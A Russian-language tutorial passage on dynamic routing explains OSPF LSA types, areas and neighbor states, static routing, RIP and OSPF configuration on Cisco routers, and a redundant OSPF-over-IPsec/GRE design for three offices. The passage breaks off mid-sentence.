Type 5 LSA - AS External LSA - объявления о состоянии внешних каналов автономной системы. Объявление распространяется пограничным маршрутизатором автономной системы в пределах всей автономной системы. Объявление описывает маршруты внешние для автономной системы OSPF или маршруты по умолчанию (default route) внешние для автономной системы OSPF.

Type 7 LSA - AS External LSA for NSSA - объявления о состоянии внешних каналов автономной системы в NSSA зоне. Это объявление может передаваться только в NSSA зоне. На границе зоны пограничный маршрутизатор преобразует type 7 LSA в type 5 LSA.

Типы зон

При разделении автономной системы на зоны, маршрутизаторам принадлежащим к одной зоне не известна информация о детальной топологии других зон.

Разделение на зоны позволяет:

  • Снизить нагрузку на ЦПУ маршрутизаторов за счет уменьшения количества перерасчетов по алгоритму SPF
  • Уменьшить размер таблиц маршрутизации
  • Уменьшить количество пакетов обновлений состояния канала

Каждой зоне присваивается идентификатор зоны (area ID). Идентификатор может быть указан в десятичном формате или в формате записи IP-адреса. Однако идентификаторы зон не являются IP-адресами и могут совпадать с любым назначенным IP-адресом.

Магистральная зона (backbone area)

Магистральная зона (известная также как нулевая зона (Area 0) или зона 0.0.0.0) формирует ядро сети OSPF. Все остальные зоны ДОЛЖНЫ быть соединены с ней, и межзональная маршрутизация происходит через маршрутизатор соединенный с магистральной зоной. Магистральная зона ответственна за распространение маршрутизирующей информации между немагистральными зонами. Магистральная зона должна быть смежной с другими зонами, но она не обязательно должна быть физически смежной; соединение с магистральной зоной может быть установлено и с помощью виртуальных каналов (virtual links).

Состояния OSPF соседа

Во время формирования соседских отношений OSPF роутеры (маршрутизаторы) проходят следущие состояния: Down, Attempt, Init, 2-Way, Exstart, Exchange, Loading, и Full.

Down state

Первое состояние OSPF соседа. В данном состоянии обмена Hello пакетами еще не производилось или соседские отношения развалились (состояние Full), по причине истечения RouterDeadInterval . Hello-пакеты в данном состоянии принимаются.

Attempt state

Это состояние проходят вручную прописанные в конфигурацию роутера OSPF работающего в NBMA среде (Nonbroadcast Multiple Access Network (NBMA) – среда не поддерживающая распространение multicast и broadcast трафика). В этом состоянии роутер посылает юникаст (unicast) hello-пакеты со своего unicast адреса на unicast адрес соседа.

Init state

Состояние инициализации, когда роутер получил hello пакет от соседа на один из интерфейсов OSPF, но RID получателя ещё небыл включен (вписан) в hello-пакет. Роутер вставляет RID соседа, от которого был получен hello-пакет, в свой hello-пакет как подтверждение того, что он был получен.

2Way state

В данном состоянии между роутерами установлен двунаправленный обмен, т.к. при разборе пришедшего hello-пакета содержится RID этого роутера, т.е. оба роутера получили hello-пакеты друг от друга. Именно в конце установки этого состояния в broadcast среде проиходят выборы DR и BDR если они ещё отсутствуют в Area в которой находятся интерфейсы роутера на которые были получены hello-пакеты.

В NBMA среде выборов DR и BDR не производится.

Exstart state

После выборов DR и BDR, между роутерами и DR, BDR начинается процесс обмена пакетами DBD (Database Descriptor) c информацией о состоянии каналов. В этом состоянии, роутеры и их DR и BDR устанавливают отношения master-slave . Роутер с самым большим Router ID (RID) становиться master и начинает обмен.

Exchange state

В этом состояни, OSPF роутеры обмениваются пакетами дескрипторами базы данных (DBD). Дескрипторы базы данных содержат только заголовки LSA, которые описывают содержимое всей базы данных о состоянии каналов. Каждый DBD пакет имеет номер, который увеличивается только master роутером и обязатесльно подтверждается slave`вом. Роутеры посылают link-state request пакеты и link-state update пакеты, они содержат всю LSA. Содержимое полученного DPD сравнивается с информацией содержащейся в link-state database роутера, идет поиск, имеются ли новые сведения о состоянии каналов доступных соседу.

Происходит непосредственно обмен информацией о состоянии канала. Основываясь на информации полученной через DBD, роутеры посылают link-state request пакеты о состоянии канала. Затем сосед предоставляет запрошенную link-state информацию в link-state update пакетах. Во время adjacency, если роутер принял устаревшую или отсутствующую LSA, он запрашивает эту LSA, посылая link-state request пакет. Все link-state update пакеты нуждаются в обязательном подтвеждении (acknowledgment).

Full state

В этом состоянии соседские отношения полностью установлены. Роутеры обменялись LSA и база данных, на роутерах, полностью синхронизирована. Состояние Full является нормальным состоянием для OSPF роутера.

Роутер может «застрять» в каком-то из состояний, это указывает на проблему в формировании связности (adjacency). Исключением является состояние 2Way , которое является обычным для соседей в broadcast среде. Состояние Full устанавливается только с DR и BDR. С остальными соседями в этой среде будет установлено состояние 2WAY/DROTHER.

В broadcast среде, все OSPF роутеры общаются через multicast адрес 224.0.0.5, но DR и BDR, для общения между собой, используют multicast адрес 224.0.0.6. Благодаря тому, что в broadcast среде работает multicast, определение и нахождение OSPF соседей происходит автоматически.

Крупные сети, такие как Internet, организованы как множество автономных систем (autonomous system – AS). Каждая из них обычно администрируется как отдельная сетевая структура, поэтому использование одного протокола маршрутизации в таких сетях маловероятно. Как мы уже знаем маршрутизатор, исходя из IP-адреса, указанного в заголовке пакета, в соответствии с своей таблицей маршрутизации определяет путь для передаваемых данных.
Таблицы маршрутизации задаются как вручную (статическая маршрутизация), так и динамически (динамическая маршрутизация).

Статическая маршрутизация

Так как статические маршруты настраиваются вручную, то любые изменения сетевой топологии требуют участия администратора для корректировки таблиц маршрутизации. В рамках маленькой сети такие изменения незначительны и происходят крайне редко. И наоборот, в крупных сетях корректировка таблиц маршрутизации может потребовать огромных затрат времени.
Если доступ к сети может быть получен только по одному направлению, то указание статического маршрута может оказаться вполне достаточным. Такой тип сети носит название тупиковой сети (stub network). Для настройки статической маршрутизации на роутере необходимо внести запись о сети, которую может достигнуть пакет, отправленный в определенный интерфейс.
Для этого необходимо в конфигурационном режиме ввести команду ip route, в которой указываем IP-адрес и маску сети назначения, тип и номер интерфейса, через который эта сеть может быть достигнута

R1(config)# ip route

Пример: Для сети, изображенной на рисунке необходимо настроить маршрутизацию таким образом, чтобы роутер (R1) пересылал пакеты в сети 92.154.228.0/22 и 92.154.232.0/22

Решением будет указанием 2 команд:

R1(config)# ip route 92.154.228.0 255.255.252.0 Se 1/0
R1(config)# ip route 92.154.232.0 255.255.252.0 Se 1/0

Для проверки конфигурации набираем команду show ip route

R1# show ip route
Codes: C — connected, S — static, I — IGRP, R — RIP, M — mobile,
D — EIGRP, EX — EIGRP external, O — OSPF,

C 92.154.224.0/22 is directly connected, FastEthernet0/0
S 92.154.228.0/22 is directly connected, Serial1/0
S 92.154.232.0/22 is directly connected, Serial1/0
C 92.154.252.0/30 is directly connected, Serial1/0

Как видно из вывода команды кроме подсоединенных сетей появились 2 записи по которым роутер будет все пришедшие к нему пакеты для сетей 92.154.228.0/22 и 92.154.232.0/22 маршрутизировать на интерфейс Serial1/0.

Для того чтобы пакеты из этих сетей уходили обратно необходимо подобным образом настроить роутеры R2 и R3

R2(config)# ip route 92.154.224.0 255.255.252.0 serial 1/0
R2(config)# ip route 92.154.232.0 255.255.252.0 serial 1/1

R3(config)# ip route 92.154.224.0 255.255.252.0 serial 1/0
R3(config)# ip route 92.154.228.0 255.255.252.0 serial 1/0

Еще настроить статическую маршрутизацию можно указав в команде ip route IP-адрес интерфейса следующего транзитного маршрутизатора вместо типа и номера интерфейса роутера, через который может быть достигнута сеть назначения. Например конфигурация роутера R1 для нашего примера будет:

R1(config)# ip route 92.154.228.0 255.255.252.0 92.154.252.2

R1(config)# ip route 92.154.232.0 255.255.252.0 92.154.252.2

R1# show ip route static
92.0.0.0/8 is variably subnetted, 4 subnets, 2 masks
S 92.154.228.0/22 via 92.154.252.2
S 92.154.232.0/22 via 92.154.252.2

Для отмены статического маршрута используется команда no ip route

Динамическая маршрутизация

При динамической маршрутизации происходит обмен маршрутной информацией между соседними маршрутизаторами, в ходе которого они сообщают друг другу, какие сети в данный момент доступны через них. Информация обрабатывается и помещается в таблицу маршрутизации. К наиболее распространенным внутренним протоколам маршрутизации относятся:
RIP (Routing Information Protocol) — протокол маршрутной информации
OSPF (Open Shortest Path First) — протокол выбора кратчайшего маршрута
EIGRP (Enhanced Interior Gateway Routing Protocol) — усовершенствованный протокол маршрутизации внутреннего шлюза
IGRP (Interior Gateway Routing Protocol) — протокол маршрутизации внутреннего шлюза

Протокол динамической маршрутизации выбирается исходя из множества предпосылок (скорость конвергенции, размер сети, задействование ресурсов, внедрение и сопровождение и др.) поэтому прежде всего, во внимание принимаются такие характеристики, как размер сети, доступная полоса пропускания, аппаратные возможности процессоров маршрутизирующих устройств, модели и типы маршрутизаторов.
Большинство алгоритмов маршрутизации может быть отнесено к одной из двух категорий: дистанционно-векторные протоколы (RIPv1, RIPv2, RIPng, IGRP, EIGRP, EIGRP for IPv6) и протоколы с учетом состояния канала (OSPFv2, OSPFv3, IS-IS, IS-IS for IPv6).

Routing Information Protocol (RIP)

Протокол RIP является дистанционно-векторным протоколом маршрутизации. Протоколы динамической маршрутизации определяют оптимальный путь к необходимой сети на основании значения, которое называется метрикой. В качестве метрики в протоколе RIP используется количество транзитных устройств или переходов (hop count – прыжок пакета) из одной сетевой структуры в другую. Максимальное число таких переходов равно 15. А все сети, число переходов до которых превышает 15, считаются недостижимыми. Маршрутизаторы, на которых настроен протокол RIP, периодически (по умолчанию каждые 30 с) пересылают полные анонсы маршрутов, в которых содержится информация обо всех известных им сетях.

Работа протокола RIP

Рассмотрим процесс обработки маршрутизатором R1 маршрута к сети 172.30.22.0 Протокол RIP настроен на обоих роутерах R1 и R2 во все непосредственно подсоединенные сети.

Сеть 172.30.22.0 напрямую подключена к маршрутизатору R2, поэтому счетчик переходов для нее равен 0
Когда R2 пересылает анонс маршрута к такой сети, он устанавливает значение счетчика равным 1. Получив анонс от R2, маршрутизатор R1 заносит маршрут к сети 172.30.22.0 в свою таблицу маршрутизации и считает этот маршрут оптимальным, поскольку других маршрутов у него нет.
В качестве исходящего интерфейса для нового маршрута R1 использует S0/0, поскольку анонс был получен через него.
В качестве адреса следующего транзитного устройства на маршруте использует 172.30.1.2, поскольку анонс маршрутизации был получен от отправителя с этим IP-адресом.

Из анонсов маршрутов исключаются некоторые маршруты для того чтобы исключить кольцевые маршруты и зацикливание пакетов. Кольцевой маршрут образуется когда два или более маршрутизаторов пересылают друг другу пакеты по замкнутому пути при котором пакеты не достигают нужного получателя. Кольцевой маршрут будет действовать до тех пор, пока маршрутизаторы в сети не обновят свои таблицы маршрутизации. Для избежания кольцевых маршрутов, маршрутизаторы рассылают информацию об отказавшем маршруте со специальной метрикой, равной бесконечности (для протокола RIP это значение равно 16). Такая рассылка называется корректировкой маршрута.
Еще один механизм предотвращения кольцевых маршрутов – таймер хранения информации. Когда устройство получает откорректированный маршрут (с максимальной метрикой), свидетельствующий о том, что этот маршрут недоступен, запускается таймер для такого маршрута. Стандартное значение таймера хранения информации равно 180 с. До тех пор пока не истечет таймер, новая информация о маршруте не принимается устройством, но информация от соседнего маршрутизатора, который ранее анонсировал исчезнувший маршрут, принимается и обрабатывается до истечения таймера хранения информации.

Пример сети и ее настройки с использованием протокола RIP

Для настройки на маршрутизаторе протокола RIP необходимо ввести команду router rip. Далее в режиме конфигурирования протокола маршрутизации нужно ввести команду network, содержащую номер сети, подключенной непосредственно к роутеру, информацию о которой следует разглашать в рассылках. Если используется бесклассовая адресация, необходимо включить 2 версию протокола RIP командой version 2

Router1(config)# router rip
Router1(config-router)# network 92.154.224.0
Router1(config-router)# network 92.154.252.0
Router1(config-router)# version 2

Router2(config)# router rip
Router2(config-router)# network 92.154.252.0
Router2(config-router)# network 92.154.252.4
Router2(config-router)# network 92.154.228.0
Router2(config-router)# version 2

Router3(config)# router rip
Router3(config-router)# network 92.154.252.4
Router3(config-router)# network 92.154.232.0
Router3(config-router)# version 2

Проверяем таблицу маршрутизации командой

Router1# show ip route rip


R 92.154.228.0/22 via 92.154.252.2, 00:00:20, Serial1/0
R 92.154.232.0/22 via 92.154.252.2, 00:00:20, Serial1/0
R 92.154.252.4/30 via 92.154.252.2, 00:00:20, Serial1/0

Следует заметить, что соседние роутеры будут обмениваться таблицами маршрутизации RIP только в том случае, если протокол RIP настроен с обеих сторон.

OSPF

Протокол OSPF является протоколом маршрутизации с учетом состояния каналов. В этом классе протоколов в качестве метрики используется стоимость маршрута, которая рассчитывается на основе пропускной способности каждого канала на пути от маршрутизатора до необходимой сети. Поэтому процесс работы протокола OSPF условно можно разделить на три этапа: обнаружение соседних маршрутизаторов, обмен базами маршрутов и расчет оптимальных маршрутов.
Устройства, подключенные к одному каналу и участвующие в процессе обмена информацией протокола OSPF называются соседними маршрутизаторами. Для обнаружения OSPF-устройств маршрутизаторы рассылают многоадресатные Hello-пакеты через все интерфейсы, на которых настроен протокол OSPF. В запросе содержится следующая информация:
идентификатор маршрутизатора-отправителя Router ID – RID,
идентификатор зоны OSPF Area ID,
Hello-интервал,
интервал обнаружения неработоспособности устройства (dead interval),
приоритет маршрутизатора (router priority),
идентификатор RID выделенного маршрутизатора (designated router DR),
идентификатор RID резервного выделенного маршрутизатора (backup designated router BDR)
список соседних устройств, обнаруженных маршрутизатором-отправителем.

Каждому маршрутизатору присваивается уникальный номер – идентификатор маршрутизатора RID. Он представляет собой 32-битное число, поэтому для удобства в качестве идентификатора используют IP-адрес. Протоколом автоматически выбирается самый старший IP-адрес из всех адресов на интерфейсах устройства (в т.ч. виртуальных).

Например, маршрутизатор «А» получает Hello-сообщение от маршрутизатора «Б». Устройству «А» нужно уведомить маршрутизатор «Б» о том, что сообщение было получено, поэтому маршрутизатор «А» добавляет идентификатор RID маршрутизатора «Б» в свое следующее (и все последующие) Hello-сообщение. Аналогично, когда маршрутизатор «Б» получит Hello-сообщение, он добавит идентификатор RID устройства «А» в свои последующие Hello-сообщения.
Когда маршрутизатор обнаруживает свой идентификатор RID во входящем Hello-сообщении, он считает, что со смежным устройством был установлен двусторонний канал. После этого маршрутизаторы проверяют базовые настройки протокола друг у друга, содержащиеся в Hello-сообщениях: IP-адрес, маску подсети, интервал рассылки Hello-сообщений, интервал обнаружения неработоспособности соседнего устройства (dead interval), идентификатор зоны OSPF (area ID) и др. Настройки должны совпадать, иначе протокол работать не будет.
После проверки, если настройки совпадают, маршрутизаторы могут обмениваться анонсами состояния каналов (Link-State Advertisements – LSA).
После установления двустороннего канала маршрутизаторы продолжают периодически обмениваться Hello-сообщениями. Если связь отсутствуют в течение времени, которое определяется dead-интервалом, то считается, что связь с соседним устройством потеряна. Стандартно в протоколе OSPF интервал рассылки Hello-сообщений равен 10 с, dead-интервал – 40 с.
В анонсах LSA содержится подробная информация о топологии сети. Процесс рассылки этих анонсов называется лавинной рассылкой (flooding), при которой маршрутизаторы пересылают анонсы LSA своим соседям, которые, в свою очередь, рассылают их своим соседям, и так до тех пор, пока все устройства в сети не получат информацию из анонса. Анонсы LSA рассылаются периодически (по умолчанию один раз в 30 мин). По окончании процесса рассылки у всех маршрутизаторов в домене маршрутизации появится общая одинаковая информация о сети. Информация хранится в виде структуры, называемой базой данных состояния каналов link-state database – LSDB.
Когда у каждого маршрутизатора в домене маршрутизации есть идентичная копия базы LSDB, то используется технология протоколов маршрутизации с учетом состояния каналов. Устанавливаются маршруты в таблицу IP-маршрутизации: создаются записи, содержащие адрес подсети, маску, выходной интерфейс и адрес следующего транзитного устройства (next-hop). Для выполнения данной задачи используется алгоритм поиска первого кратчайшего пути Дейкстры.
Протокол OSPF выбирает маршрут между маршрутизатором и какой-либо сетью с наименьшей стоимостью. С каждым интерфейсом на маршруте связано некоторое значение стоимости. Стоимость всех интерфейсов (каналов), через которые пролегает путь к сети, суммируется и выбирается путь, стоимость которого минимальна. Таким образом, каждый маршрутизатор строит маршруты подобно древовидной структуре, в корне которой ставит себя.
Для настройки протокола OSPF используются команда router ospf, которая содержит 16-битный идентификатор процесса от 1 до 65535 и команда network, содержащая номер сети, инверсную маску (wildcard mask) и идентификатор зоны.

Рассмотрим пример настройки протокола OSPF для сети, изображенной выше.

Router1(config)# route ospf 1
Router1(config-router)# network 92.154.252.0 0.0.0.3 area 0
Router1(config-router)# network 92.154.224.0 0.0.3.255 area 0

Router2(config)# router ospf 1
Router2(config-router)# network 92.154.252.0 0.0.0.3 area 0
Router2(config-router)# network 92.154.252.4 0.0.0.3 area 0
Router2(config-router)# network 92.154.228.0 0.0.3.255 area 0

Router3(config)# router ospf 1
Router3(config-router)# network 92.154.252.4 0.0.0.3 area 0
Router3(config-router)# network 92.154.232.0 0.0.3.255 area 0

Проверяем результаты командой Router1# show ip route ospf

92.0.0.0/8 is variably subnetted, 5 subnets, 2 masks
O 92.154.228.0/22 via 92.154.252.2, 00:00:26, Serial1/0
O 92.154.232.0/22 via 92.154.252.2, 00:00:26, Serial1/0
O 92.154.252.4/30 via 92.154.252.2, 00:00:26, Serial1/0

Для просмотра списка соседних маршрутизаторов на которых настроен протокол OSPF, и информации о них используется команда show ip ospf neighbor

Router1#show ip ospf neighbor
Neighbor ID Pri State Dead Time Address Interface
92.154.252.5 0 FULL/ — 00:00:37 92.154.252.2 Serial1/0

Для функционирования протокола OSPF важно чтобы хотя бы один интерфейс маршрутизатора, включенный в таблицу маршрутизации протокола OSPF, должен находиться в поднятом (up) состоянии. В противном случае OSPF отключится и последующее включение возможно будет только вручную. Для избежания такой проблемы в сети необходимо настроить и включить в протокол OSPF виртуальный интерфейс loopback.
Для настройки интерфейса loopback используется команда interface loopback, после указывается номер виртуального интерфейса, например:

Router(config)# interface loopback 0
Router(config-if)# ip add 1.1.1.1 255.255.255.255

Типы маршрутизаторов OSPF

Четыре различных типа маршрутизаторов OSPF соответствуют иерархической структуре маршрутизации, применяемой в OSPF. Каждый маршрутизатор в этой иерархии выполняет уникальную роль и обладает набором свойственных только ему характеристик. На схеме показана типичная сеть OSPF, в которой несколько областей содержат маршрутизаторы OSPF разных типов.

Общее описание маршрутизаторов OSPF

Граничные маршрутизаторы области

Маршрутизаторы ABR подключены к нескольким областям OSPF, поэтому количество маршрутизаторов в сети зависит от количества областей. Маршрутизатор ABR имеет по одной базе данных для каждой области, информацию которой он суммирует, а затем передает в опорную область для распределения по другим областям.

Граничные маршрутизаторы автономной системы

Маршрутизаторы ASBR соединены с несколькими автономными системами и обмениваются маршрутной информацией с маршрутизаторами, находящимися в другой автономной системе. В маршрутизаторах ASBR одновременно эксплуатируются протокол OSPF и другой маршрутизирующий протокол, такой как RIP или ВGР. Маршрутизаторы ASBR обрабатывают информацию о внешних маршрутах.

Маршрутизаторы опорной области

Маршрутизаторами опорной области (Backbone Router - BR) называются маршрутизаторы, интерфейсы которых соединяют их только с опорной областью. Они не имеют интерфейсов, подключенных к другим областям OSPF.

OSPF (англ. Open Shortest Path First) — протокол динамической маршрутизации, основанный на технологии отслеживания состояния канала (link-state technology) и использующий для нахождения кратчайшего пути Алгоритм Дейкстры (Dijkstra’s algorithm).

Для бизнеса использование данного протокола дает следующие преимущества:

    Отказоустойчивость. В случаи выхода из строя любого из маршрутизаторов, обмен информацией мгновенно переключается на другой маршрут, что предотвращает простои в работе.

    Экономия. Связь между узлами надежно резервируется, а изменение структуры не требует больших трудозатрат. Таким образом не нужно содержать много персонала, который будет обслуживать систему.

    Снижение рисков. Использование данной технологии значительно снижает риски простоя, а также риск зависимости функционирования системы от обслуживающего персонала.

Для того чтобы понять принцип работы OSPF как протокола динамической маршрутизации, рассмотрим следующую конкретную схему.

Например, есть следующая структура:

3 различных офиса, шлюзами у которых являются маршрутизаторы Router 1, Router 2, Router 3. Между офисами происходит обмен информацией, но происходит это через промежуточный узел с целью сделать невозможным отслеживание факта связи этих офисов.

В качестве промежуточных узлов используется 2 маршрутизатора, расположенных в разных локациях: высокопроизводительный и более дорогой Router5, c широким каналом интернет и более дешевый Router 6 использующий дешевый канал интернет. Соответственно по умолчанию связь между всеми тремя филиалами должна происходить через Router5, если этот роутер выходит из строя - весь трафик в кратчайшее время переключается на Router 6, в случаи если оба промежуточных роутера вышли из строя – связь между филиалами осуществляется на прямую, поскольку простой в работе для данной компании важнее безопасности. В качестве роутеров используются CISCO 881 k9.

Для реализации заданной схемы построим между всеми узлами сети защищенные туннели IPSEC, через которые построим GRE туннели, это делается для того, чтобы шифровать весь трафик проходящий через туннель и в тоже время использовать для управления трафиком не политики IpSEC, а таблицы маршрутизации роутеров. Далее нам необходимо направить трафик так, как того требует условия задачи, для этого каждому сегменту маршрута присваивается стоимость и трафик пойдет по пути наименьшей стоимости. Логическая схема реализации представлена на рисунке ниже.


Рисунок 1 - Схема работы с зашифрованной базой данных


Техническая реализация OSPF на CISCO Router выглядит следующим образом (предполагается что туннели уже построены):

Активация и настройка протокола выполняется в режиме глобального конфигурирования:

router ospf 1 (активация протокола и присвоение идентификатора)

router-id 192.168.1.254 (задание ID роутера, используется адрес его интерфейса)

area 1 authentication message-digest (настройка аутентификации type 2 для зоны 1, пароль задается на интерфейсах)

network 192.168.1.0 0.0.0.255 area 1 (задание сетей для анонсирования)

Аналогичные операции выполняются на других роутерах и в результате каждый роутер будет передавать информацию о своих сетях другому. Таким образом в конечном итоге каждый маршрутизатор будет видеть любую сеть через любой из созданных туннелей.

interface Tunnel0 (заходим на интерфейс)

ip ospf authentication message-digest (задаем аутентификацию)

ip ospf message-digest-key 1 md5 Fkjf8i39fdks84l9 (вводим ключ аутентификации для нашей зоны)

ip ospf cost 5 (указываем стоимость прохождения трафика через указанный интерфейс)

ip ospf hello-interval 1 (указываем минимальный интервал обмена Hello пакетами, это позволяет минимизировать время обнаружения роутера)

ip ospf dead-interval 5 (указываем время в течении которого маршрут будет считаться мертвый, если от него не получено ответа)

ip ospf mtu-ignore (отключаем проверку MTU)

Аналогичные действия выполним на других интерфейсах с указанием соответствующей стоимости (значение cost, как указано на схеме).

В результате получим систему, которая обменивается трафиком согласно условия задачи:

  • По умолчанию трафик между офисами пойдет по кратчайшему пути через Router5, стоимость маршрута будет 5+5=10
  • Если Router5 не доступен, трафик пойдет через Router6, цена маршрута будет 10+10=20
  • Если оба промежуточных узла выйдут из строя трафик пойдет прямо по туннелям между узлами, стоимость маршрута составит 25

Таким образом благодаря использованию динамической маршрутизации на базе OSPF мы получили